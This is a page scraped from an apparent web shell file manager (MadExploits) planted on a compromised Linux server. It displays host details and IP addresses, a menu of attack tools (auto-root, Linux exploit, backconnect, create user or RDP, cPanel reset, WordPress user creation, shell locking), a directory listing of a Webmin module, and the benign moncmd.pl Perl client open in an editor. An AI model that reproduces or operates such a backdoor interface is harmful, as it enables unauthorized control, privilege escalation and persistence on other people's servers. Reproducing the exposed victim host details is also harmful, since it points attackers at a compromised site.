Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.161
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mon /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
113
B
-rw-r--r--
README
287
B
-rw-r--r--
backup_config.pl
732
B
-rwxr-xr-x
config
201
B
-rw-r--r--
config-Fedora-Linux
189
B
-rw-r--r--
config.info
362
B
-rw-r--r--
config.info.ca
397
B
-rw-r--r--
config.info.cs
375
B
-rw-r--r--
config.info.de
429
B
-rw-r--r--
config.info.es
399
B
-rw-r--r--
config.info.nl
420
B
-rw-r--r--
config.info.no
381
B
-rw-r--r--
config.info.ru
506
B
-rw-r--r--
config.info.uk
511
B
-rw-r--r--
create_watch.cgi
281
B
-rwxr-xr-x
edit_auth.cgi
1.43
KB
-rwxr-xr-x
edit_global.cgi
2.01
KB
-rwxr-xr-x
edit_service.cgi
8.05
KB
-rwxr-xr-x
edit_user.cgi
1.38
KB
-rwxr-xr-x
edit_watch.cgi
2.21
KB
-rwxr-xr-x
feedback_files.pl
113
B
-rwxr-xr-x
index.cgi
1.52
KB
-rwxr-xr-x
install_check.pl
329
B
-rwxr-xr-x
list_groups.cgi
832
B
-rwxr-xr-x
list_periods.cgi
2.09
KB
-rwxr-xr-x
list_users.cgi
1.03
KB
-rwxr-xr-x
list_watches.cgi
1.26
KB
-rwxr-xr-x
module.info
181
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
108
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
136
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
166
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
171
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
37
B
-rw-r--r--
module.info.cs.auto
86
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
108
B
-rw-r--r--
module.info.de
111
B
-rw-r--r--
module.info.de.auto
12
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
192
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.auto
91
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
121
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
168
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
105
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
126
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
136
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
119
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
122
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
121
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
160
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
138
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
141
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
128
B
-rw-r--r--
module.info.ms
105
B
-rw-r--r--
module.info.ms.auto
12
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
132
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
89
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
82
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
112
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
122
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
131
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
128
B
-rw-r--r--
module.info.ru
38
B
-rw-r--r--
module.info.ru.auto
154
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
122
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
113
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
117
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
255
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
123
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
214
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
158
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
155
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
121
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
130
B
-rw-r--r--
mon-lib.pl
8.96
KB
-rwxr-xr-x
mon.cgi
998
B
-rwxr-xr-x
mon_action.cgi
415
B
-rwxr-xr-x
moncmd.diff
2.52
KB
-rw-r--r--
moncmd.pl
5.66
KB
-rwxr-xr-x
monshow.cgi
564
B
-rwxr-xr-x
monshowrc
166
B
-rw-r--r--
restart.cgi
180
B
-rwxr-xr-x
save_auth.cgi
625
B
-rwxr-xr-x
save_global.cgi
1.7
KB
-rwxr-xr-x
save_groups.cgi
656
B
-rwxr-xr-x
save_periods.cgi
1.11
KB
-rwxr-xr-x
save_service.cgi
4.71
KB
-rwxr-xr-x
save_user.cgi
823
B
-rwxr-xr-x
save_watch.cgi
370
B
-rwxr-xr-x
start.cgi
226
B
-rwxr-xr-x
stop.cgi
423
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : moncmd.pl
#!/usr/bin/perl # # moncmd - send a command to the mon server # # original file is modified to suit for the operation in this webmin module of msclinux--dt 09 Sept 2001 # # Jim Trocki, trockij@transmeta.com # # $Id: moncmd 1.2 Fri, 12 Jan 2001 08:13:31 -0800 trockij $ # # Copyright (C) 1998, Jim Trocki # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # use Getopt::Std; use Socket; use English; getopts ("ahf:l:s:p:rd"); sub usage; sub do_cmd; $MONSERVER = $ENV{"MONHOST"} if (defined ($ENV{"MONHOST"})); $MONSERVER = $opt_s if ($opt_s); $MONPORT = $opt_p || getservbyname ("mon", "tcp") || 2583; if ($opt_h) { usage; } if (!defined ($MONSERVER)) { die "No host specified or found in MONHOST\n"; } $SIG{INT} = \&handle_sig; $SIG{TERM} = \&handle_sig; # # does the input come from stdin or a file? # if ($opt_f) { if ($opt_f eq "-") { $H = STDIN; #print LOG "READING H from STDIN<br>"; } else { open (IN, $opt_f) || die "could not open input file: $!\n"; $H = IN; #print LOG "READING H from IN<br>"; } } elsif (!@ARGV) { if (-t STDIN) { print <<EOF You did not give a command on the command line nor a -f flag and the program is running interactively (e.g. reading from terminal). This is not supported. Exiting EOF ; exit 1; } $H = STDIN; } # # get auth info # if ($opt_a) { #open (LOG,">/tmp/monlog"); if ($opt_l) { $USER = $opt_l; #print LOG "USER READ FROM -l OPTION =$USER\n"; } else { die "could not determine username\n" unless defined ($USER = getpwuid($EUID)); #print LOG "USER DEFAULT TAKEN=$USER\n"; } if (-t STDIN) { #print LOG "READING PASSWD FROM STDIN\n"; system "stty -echo"; print "Password: "; chop ($PASS = <STDIN>); print "\n"; system "stty echo"; die "invalid password\n" if ($PASS =~ /^\s*$/); } elsif (!@ARGV) { $cmd = <$H>; #print LOG "READING CMD FROM $H\n"; #print LOG "CMD:$cmd\n"; while (defined ($cmd) && $cmd =~ /user=|pass=/i) { #while (defined ($cmd) && $cmd =~ /user|pass/i) { chomp $cmd; #print LOG "CMD AFTER CHOMP:$cmd\n"; if ($cmd =~ /^user=(\S+)$/i) { $USER=$1 if (!defined ($USER)); #print LOG "READING USER FROM $H:$USER\n"; } elsif ($cmd =~ /^pass=(\S+)$/i) { $PASS=$1; #print LOG "READING PASSWD FROM $H:$PASS\n"; } $cmd = <$H>; $cmd1=$cmd; #print LOG "FINAL CMD: $cmd\n"; } } die "inadequate authentication information supplied\n" if ($USER eq "" || $PASS eq ""); } # # set up TCP socket # $iaddr = inet_aton ($MONSERVER) || die "Unable to find server '$MONSERVER'\n"; if ($MONPORT =~ /\D/) { $MONPORT = getservbyname ($MONPORT, 'tcp') } $paddr = pack_sockaddr_in ($MONPORT, $iaddr); $proto = getprotobyname ('tcp'); socket (MON, PF_INET, SOCK_STREAM, $proto) || die "could not create socket: $!\n"; connect (MON, $paddr) || die "could not connect: $!\n"; select (MON); $| = 1; select (STDOUT); #if( defined(my $line = <MON>)) { # chomp $line; # unless( $line =~ /^220\s/) { # die "didn't receive expected welcome message\n"; # } #} else { # die "error communicating with mon server: $!\n"; #} # # authenticate self to the server if necessary # if ($opt_a) { ($l, @out) = do_cmd(MON, "login $USER $PASS"); die "Could not authenticate\n" if ($l =~ /^530/); } if ($opt_f or !@ARGV) { #$cmd = <$H> if ($opt_f || !@ARGV); $cmd = (<$H>||$cmd1) if ($opt_f || !@ARGV); $l = ""; #print LOG "ENTERING TO SEND THE CMD:$cmd\n"; while (defined ($cmd) && defined ($l)) { # # send the command # chomp $cmd; #print LOG "SENDING THE CMD:$cmd\n"; ($l, @out) = do_cmd (MON, $cmd); last if (!defined ($l)); for (@out) { print "$_\n"; } print "$l\n"; $cmd = <$H>; } close ($H); } else { ($l, @out) = do_cmd (MON, "@ARGV"); for (@out) { print "$_\n"; } print "$l\n"; } # # log out # do_cmd (MON, "quit"); close(MON); #close(LOG); # # submit a command to the server, wait for a response # sub do_cmd { my ($fd, $cmd) = @_; my ($l, @out); return ("", undef) if ($cmd =~ /^\s*$/); @out = (); print $fd "$cmd\n"; #print LOG "SUBMITTING CMD:$cmd\n"; while (defined($l = <$fd>)) { chomp $l; if ($l =~ /^(\d{3}\s)/) { last; } push (@out, $l); } ($l, @out); } # # usage # sub usage { print <<EOF; usage: moncmd [-a] [-l login] [-s host] [-p port] [-f file] commands Valid commands are: quit reset [stopped] term list group "groupname" list disabled list alerthist list failurehist list successes list failures list opstatus list pids list watch stop start loadstate savestate set "group" "service" "variable" "value" get "group" "service" "variable" disable service "group" "service" disable host "host" ["host"...] disable watch "watch" enable service "group" "service" enable host "host" ["host"...] enable watch "watch" EOF exit 0; } # # signal handler # sub handle_sig { system "stty echo"; exit; }
Close